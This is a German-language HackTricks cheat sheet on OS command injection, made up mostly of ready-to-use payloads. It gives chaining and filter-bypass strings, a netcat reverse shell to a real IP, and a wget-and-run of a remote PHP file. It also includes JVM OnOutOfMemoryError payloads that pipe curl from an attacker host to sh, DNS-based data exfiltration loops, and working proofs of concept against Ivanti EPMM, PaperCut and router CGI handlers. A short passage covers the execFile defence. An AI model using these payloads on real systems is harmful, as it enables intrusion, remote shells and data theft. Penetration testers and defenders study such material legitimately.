Command Injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist Command Injection?
Eine command injection erlaubt einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer typischerweise, unautorisierten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
Kontext
Je nachdem, wo Ihre Eingabe injiziert wird, müssen Sie möglicherweise den zitierten Kontext beenden (mit " oder '), bevor Sie Befehle ausführen.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Einschränkung Bypasses
Wenn Sie versuchen, beliebige Befehle auf einer linux-Maschine auszuführen, sollten Sie sich diese Bypasses ansehen:
Beispiele
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash-arithmetische Auswertung in RewriteMap/CGI-Style-Skripten
RewriteMap-Helpers, die in bash geschrieben sind, schreiben manchmal Query-Parameter in globale Variablen und vergleichen sie später in arithmetischen Kontexten ([[ $a -gt $b ]], $((...)), let). Die arithmetische Expansion retokenisiert den Inhalt, sodass vom Angreifer kontrollierte Variablennamen oder Array-Referenzen zweimal expandiert werden und Code ausführen können.
Muster, gesehen in Ivanti EPMM RewriteMap-Helpers:
- Params map to globals (
st→gStartTime,h→theValue). - Spätere Prüfung:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Sende
st=theValue, sodassgStartTimeauf den StringtheValuezeigt. - Sende
h=gPath['sleep 5'], sodasstheValueeinen Array-Index enthält; während der arithmetischen Prüfung wirdsleep 5ausgeführt (gegen eine echte Payload austauschen).
Probe (~5 s Verzögerung, dann 404 falls verwundbar):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Hinweise:
- Suche nach demselben helper unter anderen Präfixen (z. B.
/mifs/c/aftstore/fob/). - Arithmetische Kontexte behandeln unbekannte tokens als variable/array identifiers, sodass dies einfache metacharacter filters umgeht.
Parameter
Hier sind die Top 25 Parameter, die für code injection und ähnliche RCE vulnerabilities anfällig sein könnten (aus link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Daten extrahieren: char für char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Basierend auf dem Tool von https://github.com/HoLyVieR/dnsbin, ebenfalls gehostet unter dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online-Tools zum Prüfen auf DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Umgehung von Filtern
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Bei der Prüfung von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js child_process-API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() startet eine shell (/bin/sh -c), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, ;, &&, |, $(), …), zu command injection, wenn Benutzereingaben in den String konkateniert werden.
Gegenmaßnahme: verwende execFile() (oder spawn() ohne die shell-Option) und gib jedes Argument als separates Array-Element an, sodass keine shell beteiligt ist:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Echter Fall: Synology Photos ≤ 1.7.0-0794 war über ein unauthentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in id_user platzierte, welche später in einem exec()-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, keine Shell-Metazeichen)
Nicht alle Injections erfordern Shell-Metazeichen. Wenn die Anwendung untrusted Strings als Argumente an ein Systemutility übergibt (selbst bei execve/execFile und ohne Shell), werden viele Programme trotzdem jedes Argument, das mit - oder -- beginnt, als Option parsen. Dadurch kann ein Angreifer Modi umschalten, Ausgabeziele ändern oder gefährliches Verhalten auslösen, ohne je in eine Shell einzubrechen.
Typische Orte, an denen das auftritt:
- Eingebettete web UIs/CGI-Handler, die Befehle wie
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. bauen. - Zentralisierte CGI-Router (z.B.
/cgi-bin/<something>.cgimit einem Selector-Parameter wietopicurl=<handler>), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.
Was man ausprobieren sollte:
- Werte liefern, die mit
-/--beginnen, damit das downstream-Tool sie als Flags konsumiert. - Flags missbrauchen, die Verhalten ändern oder Dateien schreiben, zum Beispiel:
ping:-f/-c 100000um das Gerät zu belasten (DoS)curl:-o /tmp/xum beliebige Pfade zu schreiben,-K <url>um eine vom Angreifer kontrollierte Konfiguration zu ladentcpdump:-G 1 -W 1 -z /path/script.shum Post-Rotate-Ausführung in unsicheren Wrappern zu erreichen
- Wenn das Programm ein
--end-of-options unterstützt, versuchen, naive Mitigations zu umgehen, die--an der falschen Stelle voranstellen.
Generische PoC-Muster gegen zentralisierte CGI-Dispatcher:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM-Diagnose-Callbacks für garantierten exec
Jede Primitive, die es erlaubt, inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) kann in eine zuverlässige RCE verwandelt werden, ohne den Anwendungs-Bytecode zu berühren:
- Erzwinge einen deterministischen Absturz durch Verkleinern des Metaspace oder Heaps:
-XX:MaxMetaspaceSize=16m(oder ein kleines-Xmx). Das garantiert einenOutOfMemoryErrorsogar während des frühen Bootstrap. - Hänge einen Fehler-Hook an:
-XX:OnOutOfMemoryError="<cmd>"oder-XX:OnError="<cmd>"führt einen beliebigen OS-Befehl aus, wann immer die JVM abbricht. - Optional
-XX:+CrashOnOutOfMemoryErrorhinzufügen, um Wiederherstellungsversuche zu vermeiden und die Payload einmalig zu halten.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Weil diese diagnostics vom JVM selbst geparst werden, sind keine shell metacharacters erforderlich und der Befehl läuft mit demselben Integritätsniveau wie der Launcher. Desktop IPC bugs, die user-supplied JVM flags weiterreichen (siehe Localhost WebSocket abuse), führen daher direkt zu OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose
/app?service=page/SetupCompleted; wenn man die Seite besucht und auf Login klickt, wird eine gültigeJSESSIONIDohne Anmeldeinformationen zurückgegeben (authentication bypass im Setup-Flow). - In Options → Config Editor setzen Sie
print-and-device.script.enabled=Yundprint.script.sandboxed=N, um printer scripting zu aktivieren und die Sandbox zu deaktivieren. - Im Drucker Scripting-Tab das Script aktivieren und
printJobHookdefiniert lassen, um Validierungsfehler zu vermeiden, aber die payload außerhalb der Funktion platzieren, sodass sie sofort ausgeführt wird, wenn Sie Apply klicken (kein Druckauftrag erforderlich):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Tausche den callback gegen eine reverse shell; wenn das UI/PoC Pipes/Redirects nicht verarbeiten kann, stage ein Payload mit einem Befehl und exec es mit einer zweiten Anfrage.
- Horizon3’s CVE-2023-27350.py automatisiert den auth bypass, config flips, command execution, und rollback—führe es über einen upstream proxy (z. B.
proxychains→ Squid) aus, wenn der Service nur intern erreichbar ist.
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Referenzen
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


